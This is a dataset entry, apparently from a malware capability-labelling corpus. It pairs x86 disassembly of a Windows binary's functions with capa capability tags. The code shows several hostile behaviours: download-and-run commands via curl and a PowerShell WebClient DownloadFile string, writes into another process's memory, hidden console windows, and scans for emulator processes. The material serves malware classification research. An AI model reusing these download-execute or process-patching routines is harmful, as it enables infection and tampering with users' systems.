joyce8/EMBER2024-capa huggingface dataset:
Function at 0x426550
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
not eax
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 8], edx
mov dword [ebp - 0x10], 0x46cbf0
cmp dword [ebp + 0xc], 0
je 0x426609
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
sub ecx, 1
mov dword [ebp + 0xc], ecx
cmp dword [ebp - 0x14], 0
je 0x426607
mov edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 3], al
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov dl, byte [ebp - 3]
mov byte [ebp - 2], dl
movzx eax, byte [ebp - 2]
cmp eax, 0x23
jne 0x4265e4
cmp dword [ebp + 0xc], 2
jb 0x4265e4
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + edx]
cmp ecx, 0x23
jne 0x4265e4
mov edx, 1
shl edx, 0
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + edx]
cmp ecx, 0x23
jne 0x4265e4
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
shr eax, 8
mov ecx, dword [ebp - 0xc]
and ecx, 0xff
movzx edx, byte [ebp - 2]
xor ecx, edx
mov edx, dword [ebp - 0x10]
xor eax, dword [edx + ecx*4]
mov dword [ebp - 0xc], eax
jmp 0x42657b
jmp 0x42667e
mov eax, dword [ebp - 8]
mov cl, byte [eax]
mov byte [ebp - 4], cl
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov al, byte [ebp - 4]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x42667e
movzx edx, byte [ebp - 1]
cmp edx, 0x23
jne 0x42665f
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp - 8]
movzx eax, byte [edx + ecx]
cmp eax, 0x23
jne 0x42665f
mov ecx, 1
shl ecx, 0
mov edx, dword [ebp - 8]
movzx eax, byte [edx + ecx]
cmp eax, 0x23
jne 0x42665f
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
shr edx, 8
mov eax, dword [ebp - 0xc]
and eax, 0xff
movzx ecx, byte [ebp - 1]
xor eax, ecx
mov ecx, dword [ebp - 0x10]
xor edx, dword [ecx + eax*4]
mov dword [ebp - 0xc], edx
jmp 0x426609
mov eax, dword [ebp - 0xc]
not eax
mov esp, ebp
pop ebp
ret
Function at 0x45c0e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x466cdd
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x48e0c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
push 0x486de0
push 0
lea ecx, [ebp + 8]
call fcn.00417a90
push 0x3c
push 0
lea eax, [ebp - 0x54]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0x486de4
lea ecx, [ebp + 8]
call fcn.00417740
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x54]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x45c197
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00414ac0
mov eax, dword [ebp - 0x10]
jmp 0x45c1d4
push 0xffffffffffffffff
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00414ac0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x45c1f0
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x465ebd
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x48e0c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
push eax
push str.___output
lea ecx, [ebp + 8]
push ecx
push str.curl.exe___url
lea edx, [ebp - 0x58]
push edx
call fcn.004124a0
add esp, 0xc
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x60], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x60]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.00412470
add esp, 0xc
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x68]
push ecx
lea edx, [ebp - 0x28]
push edx
call fcn.00412440
add esp, 0xc
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x40]
call fcn.00414ac0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x58]
call fcn.00414ac0
nop
lea ecx, [ebp - 0x28]
call fcn.00417740
mov dword [ebp - 0x6c], eax
push str._echo_off
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00414ac0
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00414ac0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00414ac0
nop
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046367e
mov esp, ebp
pop ebp
ret
Function at 0x45c300
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x466d25
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x48e0c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x486a8c
mov eax, dword [ebp + 0xc]
push eax
push 0x486a90
mov ecx, dword [ebp + 8]
push ecx
push str.powershell__Command___New_Object_System.Net.WebClient_.DownloadFile_
lea edx, [ebp - 0x70]
push edx
call fcn.004124a0
add esp, 0xc
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x78]
push ecx
lea edx, [ebp - 0x58]
push edx
call fcn.00412470
add esp, 0xc
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x80], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x80]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.00412440
add esp, 0xc
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x88], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x88]
push ecx
lea edx, [ebp - 0x28]
push edx
call fcn.00412470
add esp, 0xc
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x40]
call fcn.00414ac0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x58]
call fcn.00414ac0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x70]
call fcn.00414ac0
nop
lea ecx, [ebp - 0x28]
call fcn.00417740
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00414ac0
nop
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046367e
mov esp, ebp
pop ebp
ret
Function at 0x45c640
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x466d8d
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x48e0c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.0045f040
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x18], 0xf9
mov byte [ebp - 0x17], 0xff
mov byte [ebp - 0x16], 0x5f
mov byte [ebp - 0x15], 0x5e
mov byte [ebp - 0x14], 0x5b
mov byte [ebp - 0x13], 0xc3
mov byte [ebp - 0x12], 0xe9
lea ecx, [ebp - 0x3c]
call fcn.00414520
mov dword [ebp - 4], 0
mov byte [ebp - 0x1c], 0xc2
mov byte [ebp - 0x1b], 8
mov byte [ebp - 0x1a], 0
push 0xfffffff
push 0
lea ecx, [ebp - 0x3c]
push ecx
push 7
lea edx, [ebp - 0x18]
push edx
call fcn.004600d0
add esp, 0x14
lea ecx, [ebp - 0x3c]
call fcn.004185d0
test eax, eax
je 0x45c75b
push 0
lea ecx, [ebp - 0x3c]
call fcn.00414d30
mov eax, dword [eax]
add eax, 6
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x40
push 3
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 3
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
push 3
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00463610
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x40], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3c]
call fcn.00414b20
nop
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046367e
mov esp, ebp
pop ebp
ret

Function at 0x45c790
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
mov esp, ebp
pop ebp
ret
Function at 0x45e2d0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x467105
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x48e0c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
push 0x486af8
lea ecx, [ebp - 0x28]
push ecx
call fcn.004124a0
add esp, 0xc
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00417740
mov dword [ebp - 0x2c], eax
push 0
push 0
mov edx, dword [ebp - 0x2c]
push edx
push 0x486afc
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00414ac0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00414ac0
nop
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046367e
mov esp, ebp
pop ebp
ret

Function at 0x45ec50
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x48e0c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
call sub.KERNEL32.dll_Process32First
nop
lea edx, [ebp - 0x12c]
push edx
mov eax, dword [ebp - 0x13c]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x45ed7e
mov dword [ebp - 0x138], 0x486a3c
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x134], ecx
mov edx, dword [ebp - 0x134]
mov al, byte [edx]
mov byte [ebp - 0x12d], al
mov ecx, dword [ebp - 0x138]
cmp al, byte [ecx]
jne 0x45ed33
cmp byte [ebp - 0x12d], 0
je 0x45ed27
mov edx, dword [ebp - 0x134]
mov al, byte [edx + 1]
mov byte [ebp - 0x12e], al
mov ecx, dword [ebp - 0x138]
cmp al, byte [ecx + 1]
jne 0x45ed33
add dword [ebp - 0x134], 2
add dword [ebp - 0x138], 2
cmp byte [ebp - 0x12e], 0
jne 0x45ecd5
mov dword [ebp - 0x140], 0
jmp 0x45ed3e
sbb edx, edx
or edx, 1
mov dword [ebp - 0x140], edx
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jne 0x45ed79
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x144]
jle 0x45ed79
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x148], eax
jmp 0x45eca4
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046367e
mov esp, ebp
pop ebp
ret
Function at 0x45eda0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x48e0c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
call sub.KERNEL32.dll_Process32First
nop
lea edx, [ebp - 0x12c]
push edx
mov eax, dword [ebp - 0x13c]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x45eece
mov dword [ebp - 0x138], 0x486a24
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x134], ecx
mov edx, dword [ebp - 0x134]
mov al, byte [edx]
mov byte [ebp - 0x12d], al
mov ecx, dword [ebp - 0x138]
cmp al, byte [ecx]
jne 0x45ee83
cmp byte [ebp - 0x12d], 0
je 0x45ee77
mov edx, dword [ebp - 0x134]
mov al, byte [edx + 1]
mov byte [ebp - 0x12e], al
mov ecx, dword [ebp - 0x138]
cmp al, byte [ecx + 1]
jne 0x45ee83
add dword [ebp - 0x134], 2
add dword [ebp - 0x138], 2
cmp byte [ebp - 0x12e], 0
jne 0x45ee25
mov dword [ebp - 0x140], 0
jmp 0x45ee8e
sbb edx, edx
or edx, 1
mov dword [ebp - 0x140], edx
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jne 0x45eec9
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x144]
jle 0x45eec9
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x148], eax
jmp 0x45edf4
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046367e
mov esp, ebp
pop ebp
ret

Function at 0x45eef0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x48e0c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
call sub.KERNEL32.dll_Process32First
nop
lea edx, [ebp - 0x12c]
push edx
mov eax, dword [ebp - 0x13c]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x45f01e
mov dword [ebp - 0x138], 0x486a0c
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x134], ecx
mov edx, dword [ebp - 0x134]
mov al, byte [edx]
mov byte [ebp - 0x12d], al
mov ecx, dword [ebp - 0x138]
cmp al, byte [ecx]
jne 0x45efd3
cmp byte [ebp - 0x12d], 0
je 0x45efc7
mov edx, dword [ebp - 0x134]
mov al, byte [edx + 1]
mov byte [ebp - 0x12e], al
mov ecx, dword [ebp - 0x138]
cmp al, byte [ecx + 1]
jne 0x45efd3
add dword [ebp - 0x134], 2
add dword [ebp - 0x138], 2
cmp byte [ebp - 0x12e], 0
jne 0x45ef75
mov dword [ebp - 0x140], 0
jmp 0x45efde
sbb edx, edx
or edx, 1
mov dword [ebp - 0x140], edx
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jne 0x45f019
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x144]
jle 0x45f019
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x148], eax
jmp 0x45ef44
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046367e
mov esp, ebp
pop ebp
ret
Function at 0x45f900
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x466cdd
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x48e0c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
push 0x4871c8
push 0
lea ecx, [ebp + 8]
call fcn.00417a90
push 0x3c
push 0
lea eax, [ebp - 0x54]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], str.cmd.exe
lea ecx, [ebp + 8]
call fcn.00417740
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x54]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x45f9b7
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00414ac0
mov eax, dword [ebp - 0x10]
jmp 0x45f9f4
push 0xffffffffffffffff
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00414ac0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x4632f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [0x48e0c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x154], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x154]
push eax
mov ecx, dword [ebp - 0x168]
push ecx
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x463462
lea edx, [ebp - 0x154]
push edx
mov eax, dword [ebp - 0x168]
push eax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
jne 0x463462
mov dword [ebp - 0x160], str.aow_exe.exe
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x15c]
mov al, byte [edx]
mov byte [ebp - 0x155], al
mov ecx, dword [ebp - 0x160]
cmp al, byte [ecx]
jne 0x4633d2
cmp byte [ebp - 0x155], 0
je 0x4633c6
mov edx, dword [ebp - 0x15c]
mov al, byte [edx + 1]
mov byte [ebp - 0x156], al
mov ecx, dword [ebp - 0x160]
cmp al, byte [ecx + 1]
jne 0x4633d2
add dword [ebp - 0x15c], 2
add dword [ebp - 0x160], 2
cmp byte [ebp - 0x156], 0
jne 0x463374
mov dword [ebp - 0x16c], 0
jmp 0x4633dd
sbb edx, edx
or edx, 1
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0
jne 0x46345d
mov ecx, dword [ebp - 0x14c]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jne 0x46341a
jmp 0x463342
push 0x28
lea edx, [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x164]
push eax
call sub.KERNEL32.dll_K32GetProcessMemoryInfo
test eax, eax
je 0x46344f
cmp dword [ebp - 0x20], 0x11e1a300
jbe 0x46344f
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x170], ecx
mov eax, dword [ebp - 0x170]
jmp 0x463470
mov edx, dword [ebp - 0x164]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x463342
mov eax, dword [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046367e
mov esp, ebp
pop ebp
ret
Function at 0x463480
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [0x48e0c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x154], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x154]
push eax
mov ecx, dword [ebp - 0x168]
push ecx
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x4635f2
lea edx, [ebp - 0x154]
push edx
mov eax, dword [ebp - 0x168]
push eax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
jne 0x4635f2
mov dword [ebp - 0x160], str.AndroidProcess.exe
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x15c]
mov al, byte [edx]
mov byte [ebp - 0x155], al
mov ecx, dword [ebp - 0x160]
cmp al, byte [ecx]
jne 0x463562
cmp byte [ebp - 0x155], 0
je 0x463556
mov edx, dword [ebp - 0x15c]
mov al, byte [edx + 1]
mov byte [ebp - 0x156], al
mov ecx, dword [ebp - 0x160]
cmp al, byte [ecx + 1]
jne 0x463562
add dword [ebp - 0x15c], 2
add dword [ebp - 0x160], 2
cmp byte [ebp - 0x156], 0
jne 0x463504
mov dword [ebp - 0x16c], 0
jmp 0x46356d
sbb edx, edx
or edx, 1
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0
jne 0x4635ed
mov ecx, dword [ebp - 0x14c]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jne 0x4635aa
jmp 0x4634d2
push 0x28
lea edx, [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x164]
push eax
call sub.KERNEL32.dll_K32GetProcessMemoryInfo
test eax, eax
je 0x4635df
cmp dword [ebp - 0x20], 0x11e1a300
jbe 0x4635df
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x170], ecx
mov eax, dword [ebp - 0x170]
jmp 0x463600
mov edx, dword [ebp - 0x164]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x4634d2
mov eax, dword [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046367e
mov esp, ebp
pop ebp
ret

Function at 0x464a34
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x464a73
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x464a73
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x464a73
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x464a73
cmp dword [ecx + 0x74], 0xe
jbe 0x464a73
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x464e53
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x464e7a
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x464e7d
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.00464e2f
pop esi
leave
ret 8
Function at 0x40a543
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.0040a5c2
jae 0x40a54f
xor ecx, ecx
call fcn.0040a5c2
jae 0x40a579
xor eax, eax
call fcn.0040a5c2
jae 0x40a58a
mov al, 0x10
call fcn.0040a5c2
adc al, al
jae 0x40a56b
jne 0x40a5b7
stosb byte es:[edi], al
jmp 0x40a550
call fcn.0040a5ce
dec ecx
loop 0x40a596
mov eax, ebp
call fcn.0040a5cc
jmp 0x40a5b8
lodsb al, byte [esi]
shr eax, 1
je 0x40a5de
adc ecx, 2
mov ebp, eax
jmp 0x40a5b8
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.0040a5cc
cmp eax, 0x7d00
jae 0x40a5b6
cmp eax, 0x500
jae 0x40a5b7
cmp eax, 0x7f
ja 0x40a5b8
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x40a550
pop ebp
ret 8